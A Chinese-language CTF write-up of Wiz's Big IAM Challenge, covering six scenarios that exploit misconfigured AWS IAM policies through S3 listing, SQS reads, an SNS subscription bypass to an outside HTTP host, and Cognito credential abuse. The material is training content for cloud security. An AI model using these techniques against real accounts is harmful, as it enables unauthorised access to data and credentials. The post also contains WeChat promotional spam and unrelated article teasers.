IAM风险CTF挑战赛

wiz启动了一个名为“The Big IAM Challenge”云安全CTF挑战赛。旨在让白帽子识别和利用 IAM错误配置，并从现实场景中学习，从而更好的认识和了解IAM相关的风险。比赛包括6个场景，每个场景都专注于各种AWS服务中常见的IAM配置错误。

Challenge1:

Buckets of Fun

We all know that public buckets are risky. But can you find the flag?

查看提示获取本关的IAM策略如下：

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",   //Effect（效果）设置为Allow（允许）
"Principal": "*",    //Principal（主体）是所有用户（"*"）
"Action": "s3:GetObject",  //获取对象
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"  //指定S3存储桶中的所有对象
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",    //列出存储桶
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",  
"Condition": {      //条件是通过前缀限制只能列出以"files/"为前缀的对象
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}

该策略允许任何用户列出"thebigiamchallenge-storage-9979f4b"存储桶中符合前缀条件"files/"的对象。该策略存在如下安全风险：

1、允许任何用户对指定的S3存储桶执行GetObject操作以获取对象的内容。

2、允许任何用户对指定的S3存储桶执行ListBucket操作列出存储桶中符合指定前缀条件的对象

解题思路：

针对s3存储桶权限校验不严格，列出桶资源对象并使用查看对象内容获取flag。

1、获取该存储桶中的对象

aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/

得知files目录下存在flag1.txt文件，将其下载到本地，这里提示Read-only file system（只读文件系统）错误，权限问题，我们将其下载到/tmp目录下：

aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag.txt

另外也可以直接网络访问获取：

http://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt

获得flag如下：

{wiz:exposed-storage-risky-as-usual}

challenge1

Challenge2:

We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong?

Join our queue and get the secret flag.

查看提示获取本关的IAM策略如下：

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage",      //发送消息
"sqs:ReceiveMessage"        //接收消息
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}

该IAM策略允许任何用户对特定的SQS队列执行SendMessage和ReceiveMessage操作，即发送和接收消息。该策略存在如下安全风险：

【----帮助网安学习，以下所有学习资料免费领！加vx：yj009991，备注“freebuf”获取！】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP客户端安全检测指南（安卓+IOS）

1、该策略将操作权限授予了所有用户（"*"），意味着任何具有该策略的用户或角色都可以发送和接收消息。

2、该策略没有限制允许访问的用户、角色或其他条件。它允许所有用户执行SendMessage和ReceiveMessage操作。

解题思路：

针对授予特定SQS队列执行ReceiveMessage操作获取队列消息来查找flag。

1、接受消息队列中的信息

aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

challenge2

2、获取html文件内容

https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html

challenge2-1

获得flag如下：

{wiz:you-are-at-the-front-of-the-queue}
Challenge3:

Enable Push Notifications

We got a message for you. Can you get it?

查看提示并获取本关的IAM策略如下：

{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*"                                      //允许任何AWS用户
},
"Action": "SNS:Subscribe",       //订阅操作
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",    //主题ARN
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"  //订阅条件 
}
}
}
]
}

该策略允许任何AWS用户对指定的SNS主题（ARN为"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications"）进行订阅操作。订阅条件要求订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。该策略存在如下风险：

  1. 全局访问权限：该策略中指定了允许任何AWS用户（"*"）执行SNS订阅操作。这意味着任何具有有效的AWS凭证的用户都可以订阅该SNS主题。如果此策略不是有意为特定用户或实体设计的，可能存在风险，因为未经授权的用户可以执行订阅操作。

  2. 通配符条件：该策略中的条件指定订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。然而，通配符条件可能过于宽松，允许任何以该域名结尾的Endpoint进行订阅，包括未经授权的Endpoint。这可能导致未经授权的实体订阅主题并接收敏感信息或滥用SNS服务。

  3. 潜在的信息泄露：由于该策略允许任何人订阅主题，如果主题包含敏感信息或重要通知，可能会导致信息泄露的风险。攻击者可以订阅主题并接收敏感信息，甚至利用该信息进行其他恶意行为。

解题思路：

1、订阅SNS主题

在订阅时由于调阅条件的限制，先尝试将订阅消息发送到email邮箱账号，但是由于我们没有以@tbic.wiz.io为后缀的邮箱账号，因此需要对此处进行绕过。

AWS用户可以使用SNS:Subscribe操作订阅指定的SNS主题：

aws sns subscribe --topic-arn <主题ARN> --protocol <协议> --notification-endpoint <订阅者Endpoint>

<主题ARN>为实际的SNS主题ARN。所使用的协议有HTTP、HTTPS、Email、SMS等，订阅者的Endpoint具体根据策略中的条件要求。

对该题目设置SNS订阅：

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint research@tbic.wiz.io

challenge3-1

2、订阅条件限制绕过

尝试使用http协议进行代理监听的方式获取订阅消息：

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://43.155.79.163:8443/@tbic.wiz.io

challenge3-2

接收到来自sns的订阅确认，消息提示点击SubscribeURL确认订阅消息，等待一会即可接收到附带flag的订阅消息：

challenge3-3

获取到flag如下：

{wiz:always-suspect-asterisks}
Challenge4:

Admin only?

We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?

查看提示并获取本关的IAM策略如下：

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}
}
}
]
}

该策略用于定义对 Amazon S3 存储桶的访问权限。其中包含了两个声明（Statement）：

1、声明一允许任何用户存储桶执行GetObject操作，访问thebigiamchallenge-admin-storage-abf1321的s3储存桶资源。

2、声明二允许任何用户对S3存储桶执行ListBucket操作，列出存储桶中的对象。该声明有一个约束条件限制请求中的后缀必须以"files/" 开头，并且访问资源的主体是arn:aws:iam::133713371337:user/admin。

解题思路：

看到声明二中限制的访问资源主体是arn:aws:iam::133713371337:user/admin，便想着如何获取到该用户的凭据，然而在目前的环境中翻遍了各种配置文件和脚本文件都未发现相关凭据泄露，且当下凭据不能用于该访问主体。随后转变思路利用GetObject操作无限制进行目录Fuzz，Fuzz出如下路径：

/thebigiamchallenge-admin-storage-abf1321/files/  
/thebigiamchallenge-admin-storage-abf1321/files/cache/
/thebigiamchallenge-admin-storage-abf1321/files/tmp/
https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt

然后再深一次Fuzz，仍无flag相关结果，最终经瑞幸楼少提醒，发现了如下参数的妙用：

--no-sign-request

该参数可以用来执行无需身份验证的请求。使用该参数可以跳过对请求进行签名和身份验证的步骤，从而可以在某些情况下执行不需要验证的操作。

aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request
aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag4.txt

challenge4-1

获得flag如下：

{wiz:principal-arn-is-not-what-you-think}
Challenge5:

Do I know you?

We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes.

查看提示并获取本关的IAM策略如下：

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"mobileanalytics:PutEvents",
"cognito-sync:*"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::wiz-privatefiles",
"arn:aws:s3:::wiz-privatefiles/*"
]
}
]
}
​
​
https://wiz-privatefiles.s3.amazonaws.com/
https://s3.amazonaws.com/wiz-privatefiles/
​
​
https://wiz-privatefiles.s3.amazonaws.com/soap/

如上策略有两个声明，VisualEditor0声明允许向MobileAnalytics服务发送事件数据以及对Cognito Sync服务执行任何操作，且对这两个服务中的所有资源都可以操作。VisualEditor1声明允许执行GetObject和ListBucket两个操作，来获取wiz-privatefiles存储桶中的对象并列出存储桶中的内容。

解题思路：

根据题目提示得知AWS Cognito服务为主要身份提供商，问题大概率出现在此处，通过搜索AWS Cognito配置错误看到一篇文章：

https://www.wangan.com/p/7fy7f8abba5c0234        //通过错误配置的AWS Cognito接管AWS帐户

结合该思路我们首先需要获取到该AWS Cognito服务的identity_pool_id：

challenge5-1

梳理下常见的获取identity_pool_id方法：

1、通过应用程序代码查找使用Cognito的部分，并寻找可能存在identity_pool_id的位置，通常在一些JS文件或者接口中可能存在。

2、通过监控分析网络流量分析捕获应用程序与Cognito之间的通信。在捕获的网络流量中，搜索包含 identity_pool_id的请求或响应。

3、通过搜寻查找一些配置文件或环境变量及启动脚本等获取Cognito相关的配置信息。

4、通过分析应用程序日志，查找 identity_pool_id的信息。有时日志文件会记录与身份池相关的操作或配置。

5、通过aws控制台或CLI命令行获取identity_pool_id，前提是需要有一定权限。

结合文章思路在前端页面获取到IdentityPoolId：

AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});

challenge5-2

获取到identity_pool_id通过脚本再获取AK密钥进行配置：

challenge5-3

由于当前云终端权限限制的问题，改用本地进行配置及后续操作：

aws configure
aws configure set aws_access_key_id 
aws configure set aws_secret_access_key 
aws configure set aws_session_token ""

challenge5-4

获取到Flag如下：

{wiz:incognito-is-always-suspicious}
Challenge6:

One final push

Anonymous access no more. Let's see what can you do now.

Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role

查看提示并获取本关的IAM策略如下：

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",     
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
}
}
]
}

该策略用于定义IAM角色的信任关系，当cognito-identity身份服务进行Web身份验证时，可以使用STS的AssumeRoleWithWebIdentity操作请求临时凭证进行验证身份。此操作将验证来自cognito-identity身份服务的用户身份，并根据策略规定的条件和权限，为该用户生成一组临时凭证。这些临时凭证具有一定的时效性，可用于对 AWS 资源进行访问。

解题思路：

题目中提示不再有匿名访问且需要使用身份aws:iam::092297851374:role/Cognito_s3accessAuth_Role进行操作，策略信息也指明了cognito-identity验证中的aud必须是identity_pool_id为us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b。思路如下：

1、获取身份标识符identity-id

aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"

2、获取对应身份标识的令牌token

aws cognito-identity get-open-id-token --identity-id 获取到的identity-id

3、使用获取到的身份验证令牌指定目标角色来获取临时访问凭证

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定义session名称 --web-identity-token 获取到的token令牌

challenge6-1

4、根据获取到的AK密钥配置并获取flag

aws s3 ls
aws s3 ls s3://wiz-privatefiles-x1000
aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt -

challenge6-2

获取到flag如下：

{wiz:open-sesame-or-shell-i-say-openid}

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

 1.学习路线图 

 攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。

（都打包成一块的了，不能一一展开，总共300多集）

因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。 

 因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。 

 还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

 因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取 

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/725005.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

企业工程图纸很多，应该如何进行图纸管理？

企业工程图纸很多，应该如何进行图纸管理？

企业工程图纸很多&#xff0c;应该如何进行图纸管理&#xff1f; 设计制造企业在实际设计和生产过程中会产生大量的工程图纸&#xff0c;图纸一多管理起来就会十分麻烦&#xff0c;管理不当则是会影响整体的工作效率。对于大量工程图纸的管理&#xff0c;有多种方式方法来进行…
阅读更多...
数据结构-算法和算法分析

数据结构-算法和算法分析

目录 前言一、算法1.1 算法与程序1.2 算法描述方法1.3 算法特性1.4 算法设计的要求 二、算法分析2.1 算法时间效率的度量2.1.1 事前分析方法算法的渐进时间复杂度算法时间复杂度分析例子算法最坏时间复杂度时间复杂度的计算规则 2.2 算法空间效率的度量 总结 前言 程序 数据结…
阅读更多...
深度优先遍历解决迷宫问题(顺序栈的应用)

深度优先遍历解决迷宫问题(顺序栈的应用)

学习贺利坚老师课程 数据结构例程——迷宫问题&#xff08;用栈结构&#xff09;_数据结构迷宫问题-CSDN博客文章浏览阅读3.1w次&#xff0c;点赞25次&#xff0c;收藏118次。本文针对数据结构基础系列网络课程(3)&#xff1a;栈和队列中第6课时栈的应用2-迷宫问题。例&#x…
阅读更多...
品牌为什么要做电商控价

品牌为什么要做电商控价

消费者购买产品的途径愈发多样&#xff0c;抖音、快手等直播电商的兴起进一步拓宽了品牌的销售渠道。市场形态越是丰富&#xff0c;品牌所要应对的问题自然也就越多。主流电商平台如淘宝、拼多多&#xff0c;依然是消费者主要的选购之处&#xff0c;即便不购物&#xff0c;电商…
阅读更多...
使用nvm管理nodejs版本，设置淘宝NPM镜像源

使用nvm管理nodejs版本，设置淘宝NPM镜像源

nvm-windows https://github.com/coreybutler/nvm-windows nvm配置文件的路径 C:\Users\用户名\AppData\Roaming\nvm 修改 settings.txt 文件&#xff0c;添加淘宝镜像源地址 node_mirror: https://npmmirror.com/mirrors/node/ npm_mirror: https://npmmirror.com/mirrors…
阅读更多...
tauri嵌入外部二进制文件，以及sidecar是什么意思？

tauri嵌入外部二进制文件，以及sidecar是什么意思？

sidecar是什么意思 有时&#xff0c;为了使应用程序正常运行或防止用户安装额外的依赖项&#xff08;例如Node.js或Python或者ffmpeg等&#xff09;&#xff0c;你可能需要嵌入依赖的二进制文件&#xff0c;我们将这种二进制文件称为"sidecar"&#xff0c;中文意思就…
阅读更多...
Navicat 重装 查找 保存的查询sql文件

Navicat 重装 查找 保存的查询sql文件

背景&#xff1a;Navicat 一个收费的软件&#xff0c;存在的最大缺点就是收费&#xff0c;所以我们为了优化它会遇到卸载重装这些复杂的过程&#xff0c;但是我们保存的查询sql会跟随卸载Navicat而删除&#xff0c;为了节省时间省去不必要的麻烦&#xff0c;我们可以查到我们保…
阅读更多...
基于STM32和人工智能的智能楼宇安防系统

基于STM32和人工智能的智能楼宇安防系统

目录 引言环境准备智能楼宇安防系统基础代码实现&#xff1a;实现智能楼宇安防系统 4.1 数据采集模块4.2 数据处理与分析4.3 控制系统4.4 用户界面与数据可视化应用场景&#xff1a;智能楼宇安防管理与优化问题解决方案与优化收尾与总结 1. 引言 随着物联网和人工智能技术的…
阅读更多...
后端数据null前端统一显示成空

后端数据null前端统一显示成空

handleNullValues方法在封装请求接口返回数据时统一处理 // null 转 function handleNullValues(data) {// 使用递归处理多层嵌套的对象或数组function processItem(item) {if (Array.isArray(item)) {return item.map(processItem);} else if (typeof item object &&…
阅读更多...
开源的语音合成项目-EdgeTTS，无需部署无需Key

开源的语音合成项目-EdgeTTS，无需部署无需Key

前几天和大家分享了&#xff1a;全网爆火的AI语音合成工具-ChatTTS。 有很多小伙伴反应模型下载还有点麻烦~ 今天再给大家带来一款开源的语音合成 TTS 项目-EdgeTTS&#xff0c;相比ChatTTS&#xff0c;操作起来对小白更友好。 因为其底层是使用微软 Edge 的在线语音合成服务…
阅读更多...
Java数据结构与算法——稀疏数组和队列

Java数据结构与算法——稀疏数组和队列

一、稀疏数组sparsearray数组 该二维数组的很多值是默认值0,因此记录了很多没有意义的数据&#xff0c;可以采用稀疏数组进行压缩 1.基本介绍: 当一个数组中大部分元素为0&#xff0c;或者为同一个值的数组时&#xff0c;可以使用稀疏数组来保存该数组。 稀疏数组的处理方法…
阅读更多...
c++文件io,字符串io简单介绍

c++文件io,字符串io简单介绍

目录 c文件io 介绍 采用文件流对象操作文件的一般步骤 示例 注意点 利用字节流特性 字符串io 介绍 istringstream ostringstream 示例 c文件io 介绍 c根据文件内容的数据格式分为二进制文件和文本文件 基本上和c一样 c 标准库中有许多不同的标志 用于指定流对象的…
阅读更多...
Ollama(docker)+ Open Webui(docker)+Comfyui

Ollama(docker)+ Open Webui(docker)+Comfyui

Windows 系统可以安装docker desktop 相对比较好用一点&#xff0c;其他的应该也可以 比如rancher desktop podman desktop 安装需要windows WSL 安装ollama docker docker run -d --gpusall -v D:\ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama 这里…
阅读更多...
CI /CD学习

CI /CD学习

CI/CD概述 CI/CD 是持续集成和持续交付/部署的缩写&#xff0c;旨在简化并加快软件开发生命周期。 持续集成&#xff08;CI&#xff09;是指自动且频繁地将代码更改集成到共享源代码存储库中的做法。持续交付和/或持续部署&#xff08;CD&#xff09;是一个由两部分组成的过程…
阅读更多...
Paper Reading: PAMS：通过参数化最大尺度量化超分辨率

Paper Reading: PAMS：通过参数化最大尺度量化超分辨率

PAMS: Quantized Super-Resolution via Parameterized Max Scale PAMS&#xff1a;通过参数化最大尺度量化超分辨率, ECCV 2020 paper: https://arxiv.org/pdf/2011.04212.pdf GitHub: https://github.com/colorjam/PAMS 摘要 深度卷积神经网络&#xff08;DCNNs&#xff09;…
阅读更多...
HumanPlus——斯坦福ALOHA团队开源的人形机器人：融合影子学习技术、RL、模仿学习

HumanPlus——斯坦福ALOHA团队开源的人形机器人：融合影子学习技术、RL、模仿学习

前言 今天只是一个平常的日子&#xff0c;不过看到了两篇文章 一篇是《半年冒出近百家新公司&#xff0c;「具身智能」也有春天》 我看完之后转发到朋友圈&#xff0c;并评论道&#xff1a;让机器人翻一万个后空翻&#xff0c;不如让机器人打好一个螺钉&#xff0c;毕竟在目前…
阅读更多...
Flutter第十三弹 路由和导航

Flutter第十三弹 路由和导航

目标&#xff1a; 1.Flutter怎么创建路由&#xff1f; 2.怎么实现路由跳转&#xff1f;页面返回&#xff1f; 一、路由 1.1 什么是路由&#xff1f; 路由(Route)在移动开发中通常指页面&#xff08;Page&#xff09;&#xff0c;在Android中通常指一个Activity。所谓路由管…
阅读更多...
什么是Linux挂载

什么是Linux挂载

首先先说一下在Linux中一切皆文件&#xff08;硬件设备也是文件&#xff09;&#xff0c;所有文件都是存放在以根目录为树形目录结构中&#xff1b;下面来说说一下什么是挂载 挂载&#xff1a;指的就是将设备文件中的顶级目录连接到 Linux 根目录下的某一目录&#xff08;最好是…
阅读更多...
5.音视频基础 FLV

5.音视频基础 FLV

目录 简说FLV FLV Header FLV Body Tag Header ​编辑Tag Data Audio Data Video Data Script Data 简说FLV FLV格式可以包含音频、视频和文本数据&#xff0c;并且可以在网络上进行流媒体传输。优点是文件大小较小&#xff0c;压缩效率高&#xff0c;并且可以在较低…
阅读更多...
深度解析ISO9001质量管理体系认证的核心优势

深度解析ISO9001质量管理体系认证的核心优势

ISO9001质量管理体系认证是一项全球通用的标准&#xff0c;旨在帮助企业优化质量管理&#xff0c;提升市场竞争力。本文将详细解析ISO9001认证为企业带来的多重核心优势。 首先&#xff0c;ISO9001认证显著提升了企业的产品和服务质量。通过建立和实施系统化的质量管理流程&…
阅读更多...
最新文章

Copyright @ 2022~2023